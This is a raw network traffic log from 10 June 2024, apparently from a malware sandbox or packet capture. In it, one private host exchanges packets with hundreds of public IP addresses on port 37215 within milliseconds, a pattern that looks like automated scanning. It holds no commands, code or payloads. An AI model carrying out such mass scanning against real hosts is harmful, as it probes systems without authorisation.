Jun 10, 2024 15:38:00.141804934 CEST	33070	37215	192.168.2.13	197.190.17.120
Jun 10, 2024 15:38:00.142319918 CEST	43078	37215	192.168.2.13	156.243.212.25
Jun 10, 2024 15:38:00.143069029 CEST	36058	37215	192.168.2.13	41.214.194.245
Jun 10, 2024 15:38:00.143259048 CEST	37215	49958	197.98.178.183	192.168.2.13
Jun 10, 2024 15:38:00.143342972 CEST	37215	40752	156.11.232.27	192.168.2.13
Jun 10, 2024 15:38:00.143352032 CEST	37215	52668	197.238.227.229	192.168.2.13
Jun 10, 2024 15:38:00.143354893 CEST	37215	57094	197.59.140.99	192.168.2.13
Jun 10, 2024 15:38:00.143364906 CEST	37215	38474	156.162.243.21	192.168.2.13
Jun 10, 2024 15:38:00.143373013 CEST	37215	48358	197.167.77.113	192.168.2.13
Jun 10, 2024 15:38:00.143379927 CEST	37215	51876	41.130.180.46	192.168.2.13
Jun 10, 2024 15:38:00.143490076 CEST	37215	56934	156.24.110.61	192.168.2.13
Jun 10, 2024 15:38:00.143498898 CEST	37215	42024	156.19.135.49	192.168.2.13
Jun 10, 2024 15:38:00.143506050 CEST	37215	57638	156.12.201.188	192.168.2.13
Jun 10, 2024 15:38:00.143513918 CEST	37215	35772	197.116.197.156	192.168.2.13
Jun 10, 2024 15:38:00.143522978 CEST	37215	44984	41.253.102.61	192.168.2.13
Jun 10, 2024 15:38:00.143531084 CEST	37215	42298	156.163.189.151	192.168.2.13
Jun 10, 2024 15:38:00.143538952 CEST	37215	60830	156.176.31.94	192.168.2.13
Jun 10, 2024 15:38:00.143549919 CEST	37215	40920	41.194.61.76	192.168.2.13
Jun 10, 2024 15:38:00.143558025 CEST	37215	39316	156.122.137.98	192.168.2.13
Jun 10, 2024 15:38:00.143590927 CEST	37215	56696	41.241.121.248	192.168.2.13
Jun 10, 2024 15:38:00.143599033 CEST	37215	53316	197.57.169.86	192.168.2.13
Jun 10, 2024 15:38:00.143608093 CEST	37215	49502	156.245.237.250	192.168.2.13
Jun 10, 2024 15:38:00.143615961 CEST	37215	44250	41.186.220.178	192.168.2.13
Jun 10, 2024 15:38:00.143624067 CEST	37215	50618	197.128.25.119	192.168.2.13
Jun 10, 2024 15:38:00.143634081 CEST	37215	55322	41.58.54.58	192.168.2.13
Jun 10, 2024 15:38:00.143652916 CEST	37215	33328	41.45.237.96	192.168.2.13
Jun 10, 2024 15:38:00.143661022 CEST	37215	36974	41.223.243.35	192.168.2.13
Jun 10, 2024 15:38:00.143667936 CEST	37215	39694	156.211.48.76	192.168.2.13
Jun 10, 2024 15:38:00.143675089 CEST	37215	53914	41.236.7.25	192.168.2.13
Jun 10, 2024 15:38:00.143682957 CEST	37215	53410	197.57.68.100	192.168.2.13
Jun 10, 2024 15:38:00.143690109 CEST	37215	45952	197.67.118.32	192.168.2.13
Jun 10, 2024 15:38:00.143697023 CEST	37215	34808	156.156.74.74	192.168.2.13
Jun 10, 2024 15:38:00.143704891 CEST	37215	53802	156.38.108.66	192.168.2.13
Jun 10, 2024 15:38:00.143712044 CEST	37215	34148	197.244.78.206	192.168.2.13
Jun 10, 2024 15:38:00.143727064 CEST	37215	54802	41.63.241.27	192.168.2.13
Jun 10, 2024 15:38:00.143734932 CEST	37215	37782	156.15.16.186	192.168.2.13
Jun 10, 2024 15:38:00.143742085 CEST	37215	42930	156.225.196.18	192.168.2.13
Jun 10, 2024 15:38:00.143748999 CEST	37215	37782	156.90.232.117	192.168.2.13
Jun 10, 2024 15:38:00.143757105 CEST	37215	60080	197.50.100.135	192.168.2.13
Jun 10, 2024 15:38:00.143764019 CEST	37215	42978	41.195.163.183	192.168.2.13
Jun 10, 2024 15:38:00.143771887 CEST	37215	38964	41.179.145.152	192.168.2.13
Jun 10, 2024 15:38:00.143779039 CEST	37215	60876	197.226.229.29	192.168.2.13
Jun 10, 2024 15:38:00.143786907 CEST	37215	59000	156.245.2.205	192.168.2.13
Jun 10, 2024 15:38:00.143794060 CEST	37215	53786	197.218.247.171	192.168.2.13
Jun 10, 2024 15:38:00.143800974 CEST	37215	40246	197.99.205.156	192.168.2.13
Jun 10, 2024 15:38:00.143807888 CEST	37215	33842	156.168.136.24	192.168.2.13
Jun 10, 2024 15:38:00.143825054 CEST	37215	49580	156.165.201.247	192.168.2.13
Jun 10, 2024 15:38:00.143829107 CEST	55170	37215	192.168.2.13	156.134.168.58
Jun 10, 2024 15:38:00.143832922 CEST	37215	53316	156.29.235.89	192.168.2.13
Jun 10, 2024 15:38:00.143836021 CEST	37215	37656	41.89.132.28	192.168.2.13
Jun 10, 2024 15:38:00.143840075 CEST	37215	58968	197.156.129.89	192.168.2.13
Jun 10, 2024 15:38:00.143846989 CEST	37215	51600	41.109.81.128	192.168.2.13
Jun 10, 2024 15:38:00.143853903 CEST	37215	38316	41.209.100.187	192.168.2.13
Jun 10, 2024 15:38:00.143862009 CEST	37215	57522	156.218.214.250	192.168.2.13
Jun 10, 2024 15:38:00.143868923 CEST	37215	53498	156.32.124.85	192.168.2.13
Jun 10, 2024 15:38:00.143876076 CEST	37215	58304	156.159.10.140	192.168.2.13
Jun 10, 2024 15:38:00.143892050 CEST	37215	53158	156.197.209.223	192.168.2.13
Jun 10, 2024 15:38:00.143899918 CEST	37215	44544	197.255.246.136	192.168.2.13
Jun 10, 2024 15:38:00.143908024 CEST	37215	32888	41.144.136.243	192.168.2.13
Jun 10, 2024 15:38:00.143914938 CEST	37215	35928	197.64.121.194	192.168.2.13
Jun 10, 2024 15:38:00.143922091 CEST	37215	41624	41.186.239.153	192.168.2.13
Jun 10, 2024 15:38:00.143929005 CEST	37215	35874	41.117.93.142	192.168.2.13
Jun 10, 2024 15:38:00.143937111 CEST	37215	45672	197.37.79.4	192.168.2.13
Jun 10, 2024 15:38:00.143944025 CEST	37215	60776	41.204.133.93	192.168.2.13
Jun 10, 2024 15:38:00.143960953 CEST	37215	33172	41.140.184.247	192.168.2.13
Jun 10, 2024 15:38:00.143969059 CEST	37215	35462	197.9.107.34	192.168.2.13
Jun 10, 2024 15:38:00.143973112 CEST	37215	37064	156.231.3.185	192.168.2.13
Jun 10, 2024 15:38:00.143980026 CEST	37215	60956	197.149.113.57	192.168.2.13
Jun 10, 2024 15:38:00.143985987 CEST	37215	45278	41.38.164.93	192.168.2.13
Jun 10, 2024 15:38:00.143994093 CEST	37215	56922	156.211.89.221	192.168.2.13
Jun 10, 2024 15:38:00.144001007 CEST	37215	42122	197.33.14.33	192.168.2.13
Jun 10, 2024 15:38:00.144009113 CEST	37215	47834	41.170.34.101	192.168.2.13
Jun 10, 2024 15:38:00.144016027 CEST	37215	60624	41.174.115.39	192.168.2.13
Jun 10, 2024 15:38:00.144022942 CEST	37215	49614	197.216.238.129	192.168.2.13
Jun 10, 2024 15:38:00.144042969 CEST	37215	37190	197.230.194.3	192.168.2.13
Jun 10, 2024 15:38:00.144049883 CEST	37215	46274	156.27.221.22	192.168.2.13
Jun 10, 2024 15:38:00.144057035 CEST	37215	58744	197.119.156.133	192.168.2.13
Jun 10, 2024 15:38:00.144064903 CEST	37215	42378	197.234.232.228	192.168.2.13
Jun 10, 2024 15:38:00.144072056 CEST	37215	54966	156.201.14.29	192.168.2.13
Jun 10, 2024 15:38:00.144079924 CEST	37215	48922	41.15.193.245	192.168.2.13
Jun 10, 2024 15:38:00.144087076 CEST	37215	47388	197.91.250.61	192.168.2.13
Jun 10, 2024 15:38:00.144093990 CEST	37215	58742	156.59.177.15	192.168.2.13
Jun 10, 2024 15:38:00.144100904 CEST	37215	56722	156.237.170.76	192.168.2.13
Jun 10, 2024 15:38:00.144108057 CEST	37215	43176	197.27.200.127	192.168.2.13
Jun 10, 2024 15:38:00.144114971 CEST	37215	47890	41.201.89.180	192.168.2.13
Jun 10, 2024 15:38:00.144123077 CEST	37215	38760	156.139.95.100	192.168.2.13
Jun 10, 2024 15:38:00.144129992 CEST	37215	46946	41.205.70.44	192.168.2.13
Jun 10, 2024 15:38:00.144138098 CEST	37215	51396	197.21.231.68	192.168.2.13
Jun 10, 2024 15:38:00.144145012 CEST	37215	34090	156.179.78.181	192.168.2.13
Jun 10, 2024 15:38:00.144151926 CEST	37215	50400	156.175.16.45	192.168.2.13
Jun 10, 2024 15:38:00.144160032 CEST	37215	51006	156.238.163.110	192.168.2.13
Jun 10, 2024 15:38:00.144166946 CEST	37215	42194	197.253.99.100	192.168.2.13
Jun 10, 2024 15:38:00.144174099 CEST	37215	35046	156.230.39.62	192.168.2.13
Jun 10, 2024 15:38:00.144181013 CEST	37215	36652	41.222.149.196	192.168.2.13
Jun 10, 2024 15:38:00.144190073 CEST	37215	36718	156.115.29.3	192.168.2.13
Jun 10, 2024 15:38:00.144208908 CEST	37215	42810	197.235.137.220	192.168.2.13
Jun 10, 2024 15:38:00.144216061 CEST	37215	52118	197.105.195.56	192.168.2.13
Jun 10, 2024 15:38:00.144222975 CEST	37215	33730	41.199.166.65	192.168.2.13
Jun 10, 2024 15:38:00.144231081 CEST	37215	52446	197.94.187.63	192.168.2.13
Jun 10, 2024 15:38:00.144238949 CEST	37215	41888	41.169.217.182	192.168.2.13
Jun 10, 2024 15:38:00.144246101 CEST	37215	35242	156.205.120.113	192.168.2.13
Jun 10, 2024 15:38:00.144253969 CEST	37215	43300	197.211.105.203	192.168.2.13
Jun 10, 2024 15:38:00.144260883 CEST	37215	55400	41.59.124.13	192.168.2.13
Jun 10, 2024 15:38:00.144268036 CEST	37215	42674	197.218.185.191	192.168.2.13
Jun 10, 2024 15:38:00.144275904 CEST	37215	43324	156.253.209.134	192.168.2.13
Jun 10, 2024 15:38:00.144282103 CEST	37215	47890	41.201.89.180	192.168.2.13
Jun 10, 2024 15:38:00.144289017 CEST	37215	43176	197.27.200.127	192.168.2.13
Jun 10, 2024 15:38:00.144295931 CEST	37215	56722	156.237.170.76	192.168.2.13
Jun 10, 2024 15:38:00.144311905 CEST	37215	58742	156.59.177.15	192.168.2.13
Jun 10, 2024 15:38:00.144315958 CEST	47890	37215	192.168.2.13	41.201.89.180
Jun 10, 2024 15:38:00.144319057 CEST	37215	49874	156.167.167.199	192.168.2.13
Jun 10, 2024 15:38:00.144319057 CEST	43176	37215	192.168.2.13	197.27.200.127
Jun 10, 2024 15:38:00.144320011 CEST	56722	37215	192.168.2.13	156.237.170.76
Jun 10, 2024 15:38:00.144326925 CEST	37215	47388	197.91.250.61	192.168.2.13
Jun 10, 2024 15:38:00.144334078 CEST	58742	37215	192.168.2.13	156.59.177.15
Jun 10, 2024 15:38:00.144335032 CEST	37215	48922	41.15.193.245	192.168.2.13
Jun 10, 2024 15:38:00.144342899 CEST	37215	54966	156.201.14.29	192.168.2.13
Jun 10, 2024 15:38:00.144350052 CEST	37215	42378	197.234.232.228	192.168.2.13
Jun 10, 2024 15:38:00.144351959 CEST	47388	37215	192.168.2.13	197.91.250.61
Jun 10, 2024 15:38:00.144351959 CEST	49874	37215	192.168.2.13	156.167.167.199
Jun 10, 2024 15:38:00.144356012 CEST	37215	58744	197.119.156.133	192.168.2.13
Jun 10, 2024 15:38:00.144362926 CEST	48922	37215	192.168.2.13	41.15.193.245
Jun 10, 2024 15:38:00.144365072 CEST	54966	37215	192.168.2.13	156.201.14.29
Jun 10, 2024 15:38:00.144370079 CEST	37215	46274	156.27.221.22	192.168.2.13
Jun 10, 2024 15:38:00.144376993 CEST	37215	37190	197.230.194.3	192.168.2.13
Jun 10, 2024 15:38:00.144378901 CEST	42378	37215	192.168.2.13	197.234.232.228
Jun 10, 2024 15:38:00.144383907 CEST	37215	49614	197.216.238.129	192.168.2.13
Jun 10, 2024 15:38:00.144388914 CEST	58744	37215	192.168.2.13	197.119.156.133
Jun 10, 2024 15:38:00.144391060 CEST	37215	60624	41.174.115.39	192.168.2.13
Jun 10, 2024 15:38:00.144397020 CEST	46274	37215	192.168.2.13	156.27.221.22
Jun 10, 2024 15:38:00.144398928 CEST	37215	47834	41.170.34.101	192.168.2.13
Jun 10, 2024 15:38:00.144407034 CEST	37215	42122	197.33.14.33	192.168.2.13
Jun 10, 2024 15:38:00.144416094 CEST	49614	37215	192.168.2.13	197.216.238.129
Jun 10, 2024 15:38:00.144418001 CEST	60624	37215	192.168.2.13	41.174.115.39
Jun 10, 2024 15:38:00.144418001 CEST	37190	37215	192.168.2.13	197.230.194.3
Jun 10, 2024 15:38:00.144423008 CEST	37215	56922	156.211.89.221	192.168.2.13
Jun 10, 2024 15:38:00.144428015 CEST	47834	37215	192.168.2.13	41.170.34.101
Jun 10, 2024 15:38:00.144431114 CEST	37215	45278	41.38.164.93	192.168.2.13
Jun 10, 2024 15:38:00.144433022 CEST	42122	37215	192.168.2.13	197.33.14.33
Jun 10, 2024 15:38:00.144438982 CEST	37215	60956	197.149.113.57	192.168.2.13
Jun 10, 2024 15:38:00.144445896 CEST	37215	37064	156.231.3.185	192.168.2.13
Jun 10, 2024 15:38:00.144453049 CEST	37215	35462	197.9.107.34	192.168.2.13
Jun 10, 2024 15:38:00.144455910 CEST	56922	37215	192.168.2.13	156.211.89.221
Jun 10, 2024 15:38:00.144458055 CEST	45278	37215	192.168.2.13	41.38.164.93
Jun 10, 2024 15:38:00.144460917 CEST	37215	33172	41.140.184.247	192.168.2.13
Jun 10, 2024 15:38:00.144469023 CEST	37215	60776	41.204.133.93	192.168.2.13
Jun 10, 2024 15:38:00.144470930 CEST	37064	37215	192.168.2.13	156.231.3.185
Jun 10, 2024 15:38:00.144473076 CEST	60956	37215	192.168.2.13	197.149.113.57
Jun 10, 2024 15:38:00.144476891 CEST	35462	37215	192.168.2.13	197.9.107.34
Jun 10, 2024 15:38:00.144476891 CEST	37215	45672	197.37.79.4	192.168.2.13
Jun 10, 2024 15:38:00.144488096 CEST	33172	37215	192.168.2.13	41.140.184.247
Jun 10, 2024 15:38:00.144491911 CEST	37215	35874	41.117.93.142	192.168.2.13
Jun 10, 2024 15:38:00.144499063 CEST	37215	41624	41.186.239.153	192.168.2.13
Jun 10, 2024 15:38:00.144505978 CEST	60776	37215	192.168.2.13	41.204.133.93
Jun 10, 2024 15:38:00.144506931 CEST	37215	35928	197.64.121.194	192.168.2.13
Jun 10, 2024 15:38:00.144505978 CEST	45672	37215	192.168.2.13	197.37.79.4
Jun 10, 2024 15:38:00.144514084 CEST	37215	32888	41.144.136.243	192.168.2.13
Jun 10, 2024 15:38:00.144520044 CEST	35874	37215	192.168.2.13	41.117.93.142
Jun 10, 2024 15:38:00.144520998 CEST	37215	44544	197.255.246.136	192.168.2.13
Jun 10, 2024 15:38:00.144527912 CEST	41624	37215	192.168.2.13	41.186.239.153
Jun 10, 2024 15:38:00.144529104 CEST	37215	53158	156.197.209.223	192.168.2.13
Jun 10, 2024 15:38:00.144536972 CEST	32888	37215	192.168.2.13	41.144.136.243
Jun 10, 2024 15:38:00.144542933 CEST	35928	37215	192.168.2.13	197.64.121.194
Jun 10, 2024 15:38:00.144547939 CEST	37215	58304	156.159.10.140	192.168.2.13
Jun 10, 2024 15:38:00.144553900 CEST	44544	37215	192.168.2.13	197.255.246.136
Jun 10, 2024 15:38:00.144553900 CEST	53158	37215	192.168.2.13	156.197.209.223
Jun 10, 2024 15:38:00.144556046 CEST	37215	53498	156.32.124.85	192.168.2.13
Jun 10, 2024 15:38:00.144560099 CEST	37215	57522	156.218.214.250	192.168.2.13
Jun 10, 2024 15:38:00.144562960 CEST	37215	38316	41.209.100.187	192.168.2.13
Jun 10, 2024 15:38:00.144570112 CEST	37215	51600	41.109.81.128	192.168.2.13
Jun 10, 2024 15:38:00.144577026 CEST	37215	58968	197.156.129.89	192.168.2.13
Jun 10, 2024 15:38:00.144583941 CEST	37215	37656	41.89.132.28	192.168.2.13
Jun 10, 2024 15:38:00.144584894 CEST	58304	37215	192.168.2.13	156.159.10.140
Jun 10, 2024 15:38:00.144587994 CEST	53498	37215	192.168.2.13	156.32.124.85
Jun 10, 2024 15:38:00.144589901 CEST	57522	37215	192.168.2.13	156.218.214.250
Jun 10, 2024 15:38:00.144591093 CEST	37215	53316	156.29.235.89	192.168.2.13
Jun 10, 2024 15:38:00.144597054 CEST	38316	37215	192.168.2.13	41.209.100.187
Jun 10, 2024 15:38:00.144598961 CEST	37215	49580	156.165.201.247	192.168.2.13
Jun 10, 2024 15:38:00.144602060 CEST	51600	37215	192.168.2.13	41.109.81.128
Jun 10, 2024 15:38:00.144603968 CEST	58968	37215	192.168.2.13	197.156.129.89
Jun 10, 2024 15:38:00.144606113 CEST	37215	33842	156.168.136.24	192.168.2.13
Jun 10, 2024 15:38:00.144608021 CEST	37656	37215	192.168.2.13	41.89.132.28
Jun 10, 2024 15:38:00.144613981 CEST	37215	40246	197.99.205.156	192.168.2.13
Jun 10, 2024 15:38:00.144620895 CEST	37215	53786	197.218.247.171	192.168.2.13
Jun 10, 2024 15:38:00.144627094 CEST	49580	37215	192.168.2.13	156.165.201.247
Jun 10, 2024 15:38:00.144629002 CEST	53316	37215	192.168.2.13	156.29.235.89
Jun 10, 2024 15:38:00.144629002 CEST	33842	37215	192.168.2.13	156.168.136.24
Jun 10, 2024 15:38:00.144634008 CEST	40246	37215	192.168.2.13	197.99.205.156
Jun 10, 2024 15:38:00.144638062 CEST	37215	59000	156.245.2.205	192.168.2.13
Jun 10, 2024 15:38:00.144645929 CEST	37215	60876	197.226.229.29	192.168.2.13
Jun 10, 2024 15:38:00.144654036 CEST	37215	38964	41.179.145.152	192.168.2.13
Jun 10, 2024 15:38:00.144654989 CEST	53786	37215	192.168.2.13	197.218.247.171
Jun 10, 2024 15:38:00.144660950 CEST	37215	42978	41.195.163.183	192.168.2.13
Jun 10, 2024 15:38:00.144668102 CEST	37215	60080	197.50.100.135	192.168.2.13
Jun 10, 2024 15:38:00.144674063 CEST	60876	37215	192.168.2.13	197.226.229.29
Jun 10, 2024 15:38:00.144675016 CEST	37215	37782	156.90.232.117	192.168.2.13
Jun 10, 2024 15:38:00.144675970 CEST	38964	37215	192.168.2.13	41.179.145.152
Jun 10, 2024 15:38:00.144682884 CEST	37215	42930	156.225.196.18	192.168.2.13
Jun 10, 2024 15:38:00.144685030 CEST	59000	37215	192.168.2.13	156.245.2.205
Jun 10, 2024 15:38:00.144685984 CEST	42978	37215	192.168.2.13	41.195.163.183
Jun 10, 2024 15:38:00.144690037 CEST	37215	37782	156.15.16.186	192.168.2.13
Jun 10, 2024 15:38:00.144695044 CEST	60080	37215	192.168.2.13	197.50.100.135
Jun 10, 2024 15:38:00.144697905 CEST	37215	54802	41.63.241.27	192.168.2.13
Jun 10, 2024 15:38:00.144705057 CEST	37782	37215	192.168.2.13	156.90.232.117
Jun 10, 2024 15:38:00.144706011 CEST	37215	34148	197.244.78.206	192.168.2.13
Jun 10, 2024 15:38:00.144715071 CEST	37215	53802	156.38.108.66	192.168.2.13
Jun 10, 2024 15:38:00.144721031 CEST	37782	37215	192.168.2.13	156.15.16.186
Jun 10, 2024 15:38:00.144718885 CEST	42930	37215	192.168.2.13	156.225.196.18
Jun 10, 2024 15:38:00.144726038 CEST	54802	37215	192.168.2.13	41.63.241.27
Jun 10, 2024 15:38:00.144730091 CEST	37215	34808	156.156.74.74	192.168.2.13
Jun 10, 2024 15:38:00.144731998 CEST	34148	37215	192.168.2.13	197.244.78.206
Jun 10, 2024 15:38:00.144737005 CEST	37215	45952	197.67.118.32	192.168.2.13
Jun 10, 2024 15:38:00.144741058 CEST	53802	37215	192.168.2.13	156.38.108.66
Jun 10, 2024 15:38:00.144743919 CEST	37215	53410	197.57.68.100	192.168.2.13
Jun 10, 2024 15:38:00.144751072 CEST	37215	53914	41.236.7.25	192.168.2.13
Jun 10, 2024 15:38:00.144757032 CEST	37215	39694	156.211.48.76	192.168.2.13
Jun 10, 2024 15:38:00.144762039 CEST	45952	37215	192.168.2.13	197.67.118.32
Jun 10, 2024 15:38:00.144762039 CEST	34808	37215	192.168.2.13	156.156.74.74
Jun 10, 2024 15:38:00.144763947 CEST	37215	36974	41.223.243.35	192.168.2.13
Jun 10, 2024 15:38:00.144772053 CEST	37215	33328	41.45.237.96	192.168.2.13
Jun 10, 2024 15:38:00.144778967 CEST	37215	55322	41.58.54.58	192.168.2.13
Jun 10, 2024 15:38:00.144782066 CEST	39694	37215	192.168.2.13	156.211.48.76
Jun 10, 2024 15:38:00.144783974 CEST	53410	37215	192.168.2.13	197.57.68.100
Jun 10, 2024 15:38:00.144785881 CEST	53914	37215	192.168.2.13	41.236.7.25
Jun 10, 2024 15:38:00.144785881 CEST	37215	50618	197.128.25.119	192.168.2.13
Jun 10, 2024 15:38:00.144793034 CEST	36974	37215	192.168.2.13	41.223.243.35
Jun 10, 2024 15:38:00.144793987 CEST	37215	44250	41.186.220.178	192.168.2.13
Jun 10, 2024 15:38:00.144800901 CEST	37215	49502	156.245.237.250	192.168.2.13
Jun 10, 2024 15:38:00.144804001 CEST	33328	37215	192.168.2.13	41.45.237.96
Jun 10, 2024 15:38:00.144804001 CEST	55322	37215	192.168.2.13	41.58.54.58
Jun 10, 2024 15:38:00.144809961 CEST	37215	53316	197.57.169.86	192.168.2.13
Jun 10, 2024 15:38:00.144814968 CEST	50618	37215	192.168.2.13	197.128.25.119
Jun 10, 2024 15:38:00.144817114 CEST	37215	56696	41.241.121.248	192.168.2.13
Jun 10, 2024 15:38:00.144820929 CEST	49502	37215	192.168.2.13	156.245.237.250
Jun 10, 2024 15:38:00.144824028 CEST	37215	39316	156.122.137.98	192.168.2.13
Jun 10, 2024 15:38:00.144829035 CEST	44250	37215	192.168.2.13	41.186.220.178
Jun 10, 2024 15:38:00.144833088 CEST	37215	40920	41.194.61.76	192.168.2.13
Jun 10, 2024 15:38:00.144844055 CEST	53316	37215	192.168.2.13	197.57.169.86
Jun 10, 2024 15:38:00.144850016 CEST	56696	37215	192.168.2.13	41.241.121.248
Jun 10, 2024 15:38:00.144855976 CEST	40920	37215	192.168.2.13	41.194.61.76
Jun 10, 2024 15:38:00.144860029 CEST	39316	37215	192.168.2.13	156.122.137.98
Jun 10, 2024 15:38:00.144871950 CEST	46904	37215	192.168.2.13	197.116.245.45
Jun 10, 2024 15:38:00.145026922 CEST	37215	60830	156.176.31.94	192.168.2.13
Jun 10, 2024 15:38:00.145067930 CEST	60830	37215	192.168.2.13	156.176.31.94
Jun 10, 2024 15:38:00.145095110 CEST	37215	42298	156.163.189.151	192.168.2.13
Jun 10, 2024 15:38:00.145102978 CEST	37215	44984	41.253.102.61	192.168.2.13
Jun 10, 2024 15:38:00.145108938 CEST	37215	35772	197.116.197.156	192.168.2.13
Jun 10, 2024 15:38:00.145116091 CEST	37215	57638	156.12.201.188	192.168.2.13
Jun 10, 2024 15:38:00.145123005 CEST	37215	42024	156.19.135.49	192.168.2.13
Jun 10, 2024 15:38:00.145134926 CEST	42298	37215	192.168.2.13	156.163.189.151
Jun 10, 2024 15:38:00.145134926 CEST	44984	37215	192.168.2.13	41.253.102.61
Jun 10, 2024 15:38:00.145137072 CEST	35772	37215	192.168.2.13	197.116.197.156
Jun 10, 2024 15:38:00.145137072 CEST	57638	37215	192.168.2.13	156.12.201.188
Jun 10, 2024 15:38:00.145138025 CEST	37215	56934	156.24.110.61	192.168.2.13
Jun 10, 2024 15:38:00.145142078 CEST	42024	37215	192.168.2.13	156.19.135.49
Jun 10, 2024 15:38:00.145145893 CEST	37215	51876	41.130.180.46	192.168.2.13
Jun 10, 2024 15:38:00.145153999 CEST	37215	48358	197.167.77.113	192.168.2.13
Jun 10, 2024 15:38:00.145160913 CEST	37215	38474	156.162.243.21	192.168.2.13
Jun 10, 2024 15:38:00.145168066 CEST	37215	57094	197.59.140.99	192.168.2.13
Jun 10, 2024 15:38:00.145174980 CEST	37215	52668	197.238.227.229	192.168.2.13
Jun 10, 2024 15:38:00.145175934 CEST	56934	37215	192.168.2.13	156.24.110.61
Jun 10, 2024 15:38:00.145179987 CEST	48358	37215	192.168.2.13	197.167.77.113
Jun 10, 2024 15:38:00.145181894 CEST	37215	40752	156.11.232.27	192.168.2.13
Jun 10, 2024 15:38:00.145183086 CEST	51876	37215	192.168.2.13	41.130.180.46
Jun 10, 2024 15:38:00.145188093 CEST	38474	37215	192.168.2.13	156.162.243.21
Jun 10, 2024 15:38:00.145189047 CEST	37215	49958	197.98.178.183	192.168.2.13
Jun 10, 2024 15:38:00.145198107 CEST	57094	37215	192.168.2.13	197.59.140.99
Jun 10, 2024 15:38:00.145198107 CEST	37215	58062	197.241.255.243	192.168.2.13
Jun 10, 2024 15:38:00.145201921 CEST	52668	37215	192.168.2.13	197.238.227.229
Jun 10, 2024 15:38:00.145206928 CEST	40752	37215	192.168.2.13	156.11.232.27
Jun 10, 2024 15:38:00.145215034 CEST	49958	37215	192.168.2.13	197.98.178.183
Jun 10, 2024 15:38:00.145220995 CEST	37215	43324	156.253.209.134	192.168.2.13
Jun 10, 2024 15:38:00.145220995 CEST	58062	37215	192.168.2.13	197.241.255.243
Jun 10, 2024 15:38:00.145242929 CEST	37215	50800	197.56.46.223	192.168.2.13
Jun 10, 2024 15:38:00.145248890 CEST	43324	37215	192.168.2.13	156.253.209.134
Jun 10, 2024 15:38:00.145251036 CEST	37215	42674	197.218.185.191	192.168.2.13
Jun 10, 2024 15:38:00.145257950 CEST	37215	55400	41.59.124.13	192.168.2.13
Jun 10, 2024 15:38:00.145262957 CEST	37215	43300	197.211.105.203	192.168.2.13
Jun 10, 2024 15:38:00.145271063 CEST	37215	35242	156.205.120.113	192.168.2.13
Jun 10, 2024 15:38:00.145277977 CEST	37215	41888	41.169.217.182	192.168.2.13
Jun 10, 2024 15:38:00.145283937 CEST	50800	37215	192.168.2.13	197.56.46.223
Jun 10, 2024 15:38:00.145284891 CEST	37215	52446	197.94.187.63	192.168.2.13
Jun 10, 2024 15:38:00.145283937 CEST	42674	37215	192.168.2.13	197.218.185.191
Jun 10, 2024 15:38:00.145287037 CEST	55400	37215	192.168.2.13	41.59.124.13
Jun 10, 2024 15:38:00.145293951 CEST	43300	37215	192.168.2.13	197.211.105.203
Jun 10, 2024 15:38:00.145294905 CEST	35242	37215	192.168.2.13	156.205.120.113
Jun 10, 2024 15:38:00.145302057 CEST	37215	51740	156.89.192.95	192.168.2.13
Jun 10, 2024 15:38:00.145308971 CEST	41888	37215	192.168.2.13	41.169.217.182
Jun 10, 2024 15:38:00.145308971 CEST	52446	37215	192.168.2.13	197.94.187.63
Jun 10, 2024 15:38:00.145313025 CEST	37215	33730	41.199.166.65	192.168.2.13
Jun 10, 2024 15:38:00.145319939 CEST	37215	52118	197.105.195.56	192.168.2.13
Jun 10, 2024 15:38:00.145344973 CEST	51740	37215	192.168.2.13	156.89.192.95
Jun 10, 2024 15:38:00.145354986 CEST	52118	37215	192.168.2.13	197.105.195.56
Jun 10, 2024 15:38:00.145361900 CEST	33730	37215	192.168.2.13	41.199.166.65
Jun 10, 2024 15:38:00.145376921 CEST	37215	42810	197.235.137.220	192.168.2.13
Jun 10, 2024 15:38:00.145384073 CEST	37215	36718	156.115.29.3	192.168.2.13
Jun 10, 2024 15:38:00.145391941 CEST	37215	36652	41.222.149.196	192.168.2.13
Jun 10, 2024 15:38:00.145397902 CEST	37215	35046	156.230.39.62	192.168.2.13
Jun 10, 2024 15:38:00.145405054 CEST	37215	42194	197.253.99.100	192.168.2.13
Jun 10, 2024 15:38:00.145410061 CEST	42810	37215	192.168.2.13	197.235.137.220
Jun 10, 2024 15:38:00.145410061 CEST	36718	37215	192.168.2.13	156.115.29.3
Jun 10, 2024 15:38:00.145411968 CEST	37215	51006	156.238.163.110	192.168.2.13
Jun 10, 2024 15:38:00.145416975 CEST	36652	37215	192.168.2.13	41.222.149.196
Jun 10, 2024 15:38:00.145427942 CEST	37215	50400	156.175.16.45	192.168.2.13
Jun 10, 2024 15:38:00.145432949 CEST	35046	37215	192.168.2.13	156.230.39.62
Jun 10, 2024 15:38:00.145436049 CEST	37215	34090	156.179.78.181	192.168.2.13
Jun 10, 2024 15:38:00.145437002 CEST	42194	37215	192.168.2.13	197.253.99.100
Jun 10, 2024 15:38:00.145441055 CEST	51006	37215	192.168.2.13	156.238.163.110
Jun 10, 2024 15:38:00.145442963 CEST	37215	51396	197.21.231.68	192.168.2.13
Jun 10, 2024 15:38:00.145452023 CEST	37215	46946	41.205.70.44	192.168.2.13
Jun 10, 2024 15:38:00.145452976 CEST	50400	37215	192.168.2.13	156.175.16.45
Jun 10, 2024 15:38:00.145458937 CEST	37215	38760	156.139.95.100	192.168.2.13
Jun 10, 2024 15:38:00.145468950 CEST	51396	37215	192.168.2.13	197.21.231.68
Jun 10, 2024 15:38:00.145474911 CEST	34090	37215	192.168.2.13	156.179.78.181
Jun 10, 2024 15:38:00.145481110 CEST	38760	37215	192.168.2.13	156.139.95.100
Jun 10, 2024 15:38:00.145486116 CEST	46946	37215	192.168.2.13	41.205.70.44
Jun 10, 2024 15:38:00.145627975 CEST	32906	37215	192.168.2.13	156.172.0.85
Jun 10, 2024 15:38:00.145692110 CEST	37215	37234	197.176.22.163	192.168.2.13
Jun 10, 2024 15:38:00.145724058 CEST	37234	37215	192.168.2.13	197.176.22.163
Jun 10, 2024 15:38:00.146330118 CEST	32950	37215	192.168.2.13	156.146.151.12
Jun 10, 2024 15:38:00.146415949 CEST	37215	42484	197.229.179.187	192.168.2.13
Jun 10, 2024 15:38:00.146461964 CEST	42484	37215	192.168.2.13	197.229.179.187
Jun 10, 2024 15:38:00.147008896 CEST	52852	37215	192.168.2.13	197.130.110.26
Jun 10, 2024 15:38:00.147123098 CEST	37215	43078	156.243.212.25	192.168.2.13
Jun 10, 2024 15:38:00.147160053 CEST	43078	37215	192.168.2.13	156.243.212.25
Jun 10, 2024 15:38:00.147640944 CEST	53884	37215	192.168.2.13	156.254.58.48
